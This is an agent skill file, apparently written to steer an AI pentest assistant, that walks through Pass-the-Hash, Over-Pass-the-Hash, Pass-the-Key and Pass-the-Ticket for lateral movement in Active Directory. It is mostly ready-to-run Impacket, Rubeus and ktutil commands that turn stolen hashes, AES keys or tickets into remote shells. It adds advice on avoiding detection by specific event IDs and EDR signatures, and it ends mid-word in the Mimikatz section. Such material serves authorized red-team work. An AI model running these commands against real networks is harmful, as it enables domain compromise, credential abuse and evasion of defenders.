/pass-the-hash

name: pass-the-hash
description: >
  Authenticates to AD services using NTLM hashes, AES keys, or Kerberos
  tickets without cracking passwords. Covers Pass-the-Hash,
  Over-Pass-the-Hash, Pass-the-Key, and Pass-the-Ticket for lateral movement.
keywords:
  - pass the hash
  - PTH
  - over-pass-the-hash
  - pass the key
  - pass the ticket
  - NTLM hash lateral
  - use hash to authenticate
  - lateral movement
  - ptt
  - opth
  - ccache
tools:
  - Impacket
  - Rubeus
  - mimikatz
  - netexec
  - evil-winrm
opsec: medium

Pass the Hash / Over-Pass-the-Hash / Pass the Key / Pass the Ticket

You are helping a penetration tester use credential material (NTLM hashes, AES keys, or Kerberos tickets) for lateral movement without knowing cleartext passwords. All testing is under explicit written authorization.

**Kerberos-first authentication**: This skill defaults to converting credential material into Kerberos tickets (Over-Pass-the-Hash / Pass-the-Key) rather than using NTLM directly. Direct Pass-the-Hash is the last resort due to heavy detection (Event 4776, CrowdStrike Identity Module PTH signatures).

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[pass-the-hash] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Credential material: NTLM hash, AES128/AES256 key, or Kerberos ticket (.ccache/.kirbi)
• Network access to target host(s)
• Tools: Impacket suite, `netexec` (nxc), optionally `Rubeus`, `mimikatz`,

`evil-winrm`

**Kerberos-first workflow** (default for all techniques):

# Convert hash/key to TGT first, then use Kerberos for everything
getTGT.py DOMAIN/user@DC.DOMAIN.LOCAL -hashes :NTHASH
# or with AES key (most OPSEC-safe)
getTGT.py DOMAIN/user@DC.DOMAIN.LOCAL -aesKey AES256_KEY

export KRB5CCNAME=user.ccache

# All lateral movement uses -k -no-pass from here
psexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass

Step 1: Assess Credential Material

Determine what you have and choose the appropriate technique:

| Material | Technique | OPSEC | Go To | |----------|-----------|-------|-------| | AES256 key | Pass-the-Key | **LOW** — matches normal Kerberos | Step 2 | | AES128 key | Pass-the-Key | **LOW** — matches normal Kerberos | Step 2 | | NTLM hash | Over-Pass-the-Hash | **MEDIUM** — RC4 etype is anomalous | Step 3 | | .ccache / .kirbi ticket | Pass-the-Ticket | **LOW** — reusing real ticket | Step 4 | | NTLM hash + no Kerberos | Direct Pass-the-Hash | **HIGH** — NTLM auth, heavily monitored | Step 5 |

**Always prefer AES keys > tickets > OPTH > direct PTH.**

Step 2: Pass-the-Key (AES — Most OPSEC-Safe)

Use AES keys to request a TGT. This generates Event 4768 with encryption type `0x12` (AES256) or `0x11` (AES128) — indistinguishable from normal Windows authentication.

Impacket (Linux)

# AES256 key -> TGT
getTGT.py DOMAIN/user@DC.DOMAIN.LOCAL \
  -aesKey 2ef70e1ff0d18df08df04f272df3f9f93b707e89bdefb95039cddbadb7c6c574

export KRB5CCNAME=user.ccache

# Now use Kerberos auth for lateral movement
psexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass
smbexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass
wmiexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass

Rubeus (Windows)

# AES256 with /opsec flag — mimics legitimate Windows behavior
.\Rubeus.exe asktgt /user:Administrator /domain:DOMAIN.LOCAL \
  /aes256:2ef70e1ff0d18df08df04f272df3f9f93b707e89bdefb95039cddbadb7c6c574 \
  /opsec /ptt /nowrap

# AES128
.\Rubeus.exe asktgt /user:Administrator /domain:DOMAIN.LOCAL \
  /aes128:bc09f84dcb4eabccb981a9f265035a72 /ptt /nowrap

# Verify ticket is loaded
klist

Step 3: Over-Pass-the-Hash (NTLM -> Kerberos TGT)

Convert an NTLM hash into a Kerberos TGT. The TGT request uses RC4 encryption (etype 23), which is **anomalous in AES-hardened domains** but still better than direct NTLM authentication.

Impacket (Linux) — Preferred

# NTLM hash -> TGT
getTGT.py DOMAIN/user@DC.DOMAIN.LOCAL -hashes :NTHASH

# Full LM:NT format also works
getTGT.py DOMAIN/user@DC.DOMAIN.LOCAL \
  -hashes aad3b435b51404eeaad3b435b51404ee:NTHASH

export KRB5CCNAME=user.ccache

# Verify ticket
klist -c user.ccache

# Lateral movement via Kerberos
psexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass
smbexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass
wmiexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass

Alternative: ktutil + kinit (Native Kerberos)

ktutil -k ~/mykeys add -p user@DOMAIN.LOCAL -e arcfour-hmac-md5 \
  -w NTHASH --hex -V 5
kinit -t ~/mykeys user@DOMAIN.LOCAL
klist

Rubeus (Windows)

# NTLM hash -> TGT injected into current session
.\Rubeus.exe asktgt /user:Administrator /domain:DOMAIN.LOCAL \
  /rc4:NTHASH /ptt /nowrap

# Create sacrificial process with the ticket (avoids overwriting current TGT)
.\Rubeus.exe asktgt /user:Administrator /domain:DOMAIN.LOCAL \
  /rc4:NTHASH /createnetonly:C:\Windows\System32\cmd.exe /show

# Then lateral movement
.\PsExec.exe -accepteula \\TARGET.DOMAIN.LOCAL cmd

Mimikatz (Windows)

# Spawns a new process with the hash injected
se